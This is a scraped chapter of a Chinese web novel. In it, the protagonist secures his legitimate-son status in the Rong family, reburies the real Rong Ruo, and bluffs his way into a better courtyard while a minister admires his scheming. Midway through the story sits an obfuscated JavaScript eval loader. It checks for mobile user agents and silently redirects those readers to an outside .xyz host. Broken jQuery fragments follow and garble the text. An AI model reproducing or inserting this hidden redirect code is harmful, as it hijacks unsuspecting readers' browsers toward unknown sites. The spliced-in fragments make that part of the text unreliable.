第7章 让容家心梗的一天

作品:《我被忠犬男仆攻略了

    罗如芳不敢置信地看着丈夫。


    不能说,不能说啊!


    说了勇儿的身份往哪儿摆?


    庶子吗?可我也是你的妻!


    嫡子?面前这位才是正牌。


    长子?比嫡子年长这又如何论?


    容有财不去理会妻子的哀求,吐出那个早已离世之人所渴望已久的名份。


    “是”


    罗如芳瘫坐在座椅上,失了神。


    宗族老头又重新握住笔,望着面前眉眼俊俏,眼神清冷的后辈,心中一叹:容家以后这路怕是不平了。


    大笔一挥,容若二字独占一行。


    一切尘埃落定,李若柳满意地朝红袖挑眉,红袖擦干泪,竖着大拇指。


    公子,你看呐!属于你的嫡子身份拿回来了!


    入了族谱后,紧接着迁了坟,在落土之前李若柳遣散下人,将容若骨灰盒随他母亲放在同一棺内。


    红袖跪在碑前声泪俱下,痛哭不已:“夫人,公子,你们安息吧!”


    说着又给李若柳磕头:“多谢公子!”


    拿回卖身契,红袖再也不是容家人,从此自由身,她对李若柳感恩戴德。


    李若柳摇头,忙将她扶起。


    “不过各取所需,不足挂齿。从此以后你想做什么都可以。”


    “我想留在公子身边伺候,求公子成全。”


    “罢了,待日后你有想做的随时告诉我。”


    “谢公子!”


    说罢李若柳捧了一坯土,缓缓洒在棺椁上:本来你可以亲手拿回这一切的,不过也无妨,你陪着你母亲入土为安,剩下的事我来替你做。


    容家找人做牌位,李若柳特意要了两块。


    容尔将容若母亲牌位恭恭敬敬放好,见李若柳用刻刀还在雕刻,十分不解,走近一看,赫然写的是容若之位,顿时怔愣当场。


    李若柳打趣:“我马上要入尚书府,日后也无子嗣,百年后也不能指望容家记得给我立牌位,所以提前备好,你说是也不是?”


    “呃”


    是还是不是啊?怎么说都不对啊!


    李若柳也不为难他,吹了吹牌位上的碎屑,将容若和他母亲并排。


    一家人,齐齐整整的,真好。


    做完这一切,把刻刀丢给容尔,拍拍手,走人。


    在丫鬟的带领下李若柳去了给他安排的院落。


    看着半枯的盆景,雕窗上还残存的余灰,以及檀香也无法掩盖的霉味。


    李若柳用指尖蹭了蹭鼻子。


    红袖还在铺床,被褥倒是全新的,只是床榻一股潮气,比北城旧院好不到哪儿去。


    “这什么破院子,外面这么富丽堂皇的,竟然还有这么荒的院。小不说,贵重的物件一个没有。”


    “应是一直空着没人住,得知我回来才让府里下人匆匆打扫过。”


    “啊!老鼠老鼠,公子,这里有老鼠。”


    红袖吓得一下子钻进李若柳怀里,尖叫声吓得老鼠一窜不知窜哪儿去了。


    李若柳抱着红袖,轻拍:“别怕!别收了,我们换个新院子。”


    红袖吓得眼泪都出来了,闻言不确定道:“他们会同意吗?”


    李若柳狡黠一笑:“当然!待会儿咱们这样……”


    李若柳让红袖把包裹都拿上。


    管家容伯一直留意着这边动静,瞧见两人抱着包裹往前厅走,正要上前询问,只听两人边走边说起话来。


    红袖:“公子我去外面叫马车!”


    李若柳:“很晚了!”


    红袖一脸生气:“再晚也得走,反正公子不能住在这里,刚才那老鼠有这么大呢!我好怕晚上它突然冒出来再咬伤公子。”


    “还有院里什么都没有,这若是尚书大人来容家看望,见公子被这般苛待,肯定要生气的。”


    “早知道不如不回来,直接从客栈出嫁算了,尚书大人才不舍得让公子吃苦呢?他们也太过分了。”


    “公子,我去尚书府禀告尚书大人,让他派人来接公子可好,尚书大人不行那就找褚先生,公子是先生的弟子,若见你受如此委屈说不定会一气之下向陛下进言赏容家众人板子呢?”


    李若柳听了非常认真地思考了一秒:“行吧!你快去我等你!”


    “嗯嗯”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14741665|157493||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    红袖乐呵呵地就往门外冲,说者有意,听者更有心,容伯大骇,忙上前阻止,好言相劝,忙说太匆忙考虑不周这就重新安排。


    这边劝下两人,就立刻寻容有财去了。


    容有财一听当即安排人把最新修葺完善的院落又一顿打扫,让李若柳住了进去,里面物件装饰皆是上品,看得出下了血本。


    红袖仔仔细细看了个遍,开心的直蹦哒。


    等晚上用膳时容颜知道这事气得摔了筷子,见丈夫又盯着李若柳看,气得又在刘乾本就青瘀的脸上又挠了几道血痕。


    吓得李若柳躲在红袖背后:太凶残了!


    第一天就在容家所有人都心梗的情况下结束了。


    容家这一天可谓热闹非凡,从容家派出马车到换院子,所有事情一一记录在案呈在了吏部尚书钱元的案桌上。


    钱元看完摇头失笑:“你怎么看?”


    “这容若在借您的势逼迫容家就范!”


    “就算没有我,他也有大树可依。”


    “大人是说郡公褚大家?”


    “你真当这容若来东城是为与瀚儿旧情复燃的,以他的谋略志不在此,你想想容若从来东城后所有种种。”


    “大人的意思是艺阁褚大家收徒是他精心策划的。为的是让容家看到他的价值。”


    “没错!他做的这一切就是为了回容家,名正言顺的拿回嫡子之位。”


    钱元说着眼中赞叹不已。


    “这,这容若不过十七八竟有如此谋略!”


    “此子不光有谋略还性情坚韧,若非为情所困,怕是他未来的成就不会比我低。”


    “大人如此高看他?”


    “你且看着吧,这容家这几天绝对要吃大亏。明日备些礼送去容家,既然借我的势,那我自当要给他足够的底气。”


    “是”


    闹了一天,李若柳早就精神不济了,浑身酸痛,红袖贴心的早早备了热水。


    李若柳泡在微烫的水里昏昏欲睡。


    过了许久,耳边传来异响。


    李若柳双眼未睁,反握五寸长银针便要扎下。


    “公子”